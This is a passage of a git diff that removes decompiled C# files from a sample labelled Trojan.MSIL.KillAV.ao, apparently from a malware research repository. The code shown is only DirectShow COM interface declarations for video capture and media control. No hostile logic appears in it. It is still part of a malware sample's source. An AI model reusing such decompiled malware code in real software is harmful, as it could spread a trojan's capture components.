C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("211A8760-03AC-11d1-8D13-00AA00BD8339")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMTunerNotification - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int OnEvent(AMTunerEventType Event); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMVfwCompressDialogs.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMVfwCompressDialogs.cs deleted file mode 100644 index def74276..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMVfwCompressDialogs.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMVfwCompressDialogs -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("D8D715A3-6E5E-11D0-B3F0-00AA003761C5")] - [ComVisible(true)] - [ComImport] - public interface IAMVfwCompressDialogs - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShowDialog([In] VfwCompressDialogs iDialog, [In] IntPtr hwnd); - - int GetState([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1), Out] byte[] pState, ref int pcbState); - - int SetState([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1), In] byte[] pState, [In] int cbState); - - int SendDriverMessage(int uMsg, long dw1, long dw2); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBaseFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBaseFilter.cs deleted file mode 100644 index e0981527..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBaseFilter.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBaseFilter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("56a86895-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IBaseFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(long tStart); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int dwMilliSecsTimeout, out int filtState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncSource([In] IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSyncSource(out IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumPins(out IEnumPins ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindPin([MarshalAs(UnmanagedType.LPWStr), In] string Id, out IPin ppPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryFilterInfo([Out] FilterInfo pInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int JoinFilterGraph([In] IFilterGraph pGraph, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryVendorInfo([MarshalAs(UnmanagedType.LPWStr)] out string pVendorInfo); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicAudio.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicAudio.cs deleted file mode 100644 index a09aee1f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicAudio.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBasicAudio -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b3-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IBasicAudio - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Volume(int lVolume); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Volume(out int plVolume); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Balance(int lBalance); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Balance(out int plBalance); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicVideo2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicVideo2.cs deleted file mode 100644 index 2ddbbc73..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicVideo2.cs +++ /dev/null @@ -1,118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBasicVideo2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("329bb360-f6ea-11d1-9038-00a0c9697298")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IBasicVideo2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AvgTimePerFrame(out double pAvgTimePerFrame); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BitRate(out int pBitRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BitErrorRate(out int pBitRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int VideoWidth(out int pVideoWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int VideoHeight(out int pVideoHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceLeft(int SourceLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceLeft(out int pSourceLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceWidth(int SourceWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceWidth(out int pSourceWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceTop(int SourceTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceTop(out int pSourceTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceHeight(int SourceHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceHeight(out int pSourceHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationLeft(int DestinationLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationLeft(out int pDestinationLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationWidth(int DestinationWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationWidth(out int pDestinationWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationTop(int DestinationTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationTop(out int pDestinationTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationHeight(int DestinationHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationHeight(out int pDestinationHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSourcePosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSourcePosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSourcePosition(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDestinationPosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDestinationPosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultDestinationPosition(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVideoSize(out int pWidth, out int pHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVideoPaletteEntries(int StartIndex, int Entries, out int pRetrieved, IntPtr pPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentImage(ref int pBufferSize, IntPtr pDIBImage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingDefaultSource(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingDefaultDestination(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPreferredAspectRatio(out int plAspectX, out int plAspectY); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ICaptureGraphBuilder2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ICaptureGraphBuilder2.cs deleted file mode 100644 index be31812c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ICaptureGraphBuilder2.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ICaptureGraphBuilder2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D")] - [ComVisible(true)] - [ComImport] - public interface ICaptureGraphBuilder2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFiltergraph([In] IGraphBuilder pfg); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFiltergraph(out IGraphBuilder ppfg); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOutputFileName( - [In] ref Guid pType, - [MarshalAs(UnmanagedType.LPWStr), In] string lpstrFile, - out IBaseFilter ppbf, - out IFileSinkFilter ppSink); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindInterface( - [In] ref Guid pCategory, - [In] ref Guid pType, - [In] IBaseFilter pbf, - [In] ref Guid riid, - [MarshalAs(UnmanagedType.IUnknown)] out object ppint); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderStream( - [In] ref Guid pCategory, - [In] ref Guid pType, - [MarshalAs(UnmanagedType.IUnknown), In] object pSource, - [In] IBaseFilter pfCompressor, - [In] IBaseFilter pfRenderer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ControlStream( - [In] ref Guid pCategory, - [In] ref Guid pType, - [In] IBaseFilter pFilter, - [In] long pstart, - [In] long pstop, - [In] short wStartCookie, - [In] short wStopCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AllocCapFile([MarshalAs(UnmanagedType.LPWStr), In] string lpstrFile, [In] long dwlSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CopyCaptureFile( - [MarshalAs(UnmanagedType.LPWStr), In] string lpwstrOld, - [MarshalAs(UnmanagedType.LPWStr), In] string lpwstrNew, - [In] int fAllowEscAbort, - [In] IAMCopyCaptureFileProgress pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindPin( - [In] object pSource, - [In] int pindir, - [In] ref Guid pCategory, - [In] ref Guid pType, - [MarshalAs(UnmanagedType.Bool), In] bool fUnconnected, - [In] int num, - out IPin ppPin); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumFilters.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumFilters.cs deleted file mode 100644 index 39666bd2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumFilters.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IEnumFilters -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a86893-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IEnumFilters - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Next([In] uint cFilters, out IBaseFilter x, out uint pcFetched); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Skip([In] int cFilters); - - void Reset(); - - void Clone(out IEnumFilters ppEnum); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumPins.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumPins.cs deleted file mode 100644 index c66193fe..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumPins.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IEnumPins -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a86892-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IEnumPins - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Next([In] int cPins, [MarshalAs(UnmanagedType.LPArray), Out] IPin[] ppPins, out int pcFetched); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Skip([In] int cPins); - - void Reset(); - - void Clone(out IEnumPins ppEnum); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter.cs deleted file mode 100644 index e1fc069c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFileSinkFilter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("a2104830-7c70-11cf-8bce-00aa00a3f1a6")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IFileSinkFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFileName([MarshalAs(UnmanagedType.LPWStr), In] string pszFileName, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurFile([MarshalAs(UnmanagedType.LPWStr)] out string pszFileName, [MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter2.cs deleted file mode 100644 index b993c56a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter2.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFileSinkFilter2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("00855B90-CE1B-11d0-BD4F-00A0C911CE86")] - [ComVisible(true)] - [ComImport] - public interface IFileSinkFilter2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFileName([MarshalAs(UnmanagedType.LPWStr), In] string pszFileName, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurFile([MarshalAs(UnmanagedType.LPWStr)] out string pszFileName, [MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMode([In] int dwFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMode(out int dwFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFilterGraph.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFilterGraph.cs deleted file mode 100644 index 0ba1766e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFilterGraph.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFilterGraph -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a8689f-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IFilterGraph - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddFilter([In] IBaseFilter pFilter, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RemoveFilter([In] IBaseFilter pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumFilters(out IEnumFilters ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindFilterByName([MarshalAs(UnmanagedType.LPWStr), In] string pName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Reconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSyncSource(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IGraphBuilder.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IGraphBuilder.cs deleted file mode 100644 index 3b16395d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IGraphBuilder.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IGraphBuilder -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a868a9-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [ComImport] - public interface IGraphBuilder - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddFilter([In] IBaseFilter pFilter, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RemoveFilter([In] IBaseFilter pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumFilters(out IEnumFilters ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindFilterByName([MarshalAs(UnmanagedType.LPWStr), In] string pName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Reconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSyncSource(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Connect([In] IPin ppinOut, [In] IPin ppinIn); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Render([In] IPin ppinOut); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderFile([MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFile, [MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrPlayList); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddSourceFilter([MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFileName, [MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFilterName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetLogFile(IntPtr hFile); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Abort(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShouldOperationContinue(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaControl.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaControl.cs deleted file mode 100644 index 94aa2a06..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaControl.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaControl -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a868b1-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [ComImport] - public interface IMediaControl - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int msTimeout, out int pfs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderFile(string strFilename); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int 